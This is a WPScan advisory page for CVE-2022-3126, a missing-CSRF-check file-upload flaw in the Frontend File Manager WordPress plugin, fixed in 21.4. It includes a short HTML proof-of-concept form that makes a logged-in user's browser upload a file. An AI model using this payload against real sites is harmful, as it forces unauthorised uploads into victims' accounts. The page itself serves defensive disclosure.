WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Frontend File Manager < 21.4 - File Upload via CSRF

Description

The plugin does not have CSRF check when uploading files, which could allow attackers to make logged in users upload files on their behalf

Proof of Concept

<form action="https://example.com.com/wp-admin/admin-ajax.php?action=wpfm_upload_file" method="POST" enctype="multipart/form-data">
    <input type="file" name="file" value="">
    <input type="text" name="_file" value="payload.pdf">
    <input type="submit" name="submit" value="submit">
</form>

The file won't show up via the frontend/backend, but will be uploaded in the user folder (ie in wp-content/uploads/user_uploads/<usernname>/payload.pdf) 

Affects Plugins

nmedia-user-file-uploader
Fixed in version 21.4

References

CVE
CVE-2022-3126

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Raad Haddad of Cloudyrion GmbH

Submitter

Raad Haddad of Cloudyrion GmbH

Submitter twitter
raadfhaddad
Verified

Yes

WPVDB ID
7db363bf-7bef-4d47-9963-c30d6fdd2fb8

Timeline

Publicly Published

2022-09-26 (about 8 months ago)

Added

2022-09-26 (about 8 months ago)

Last Updated

2022-09-26 (about 8 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceSubmission termsDisclosure policyPrivacy Notice for California Users
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us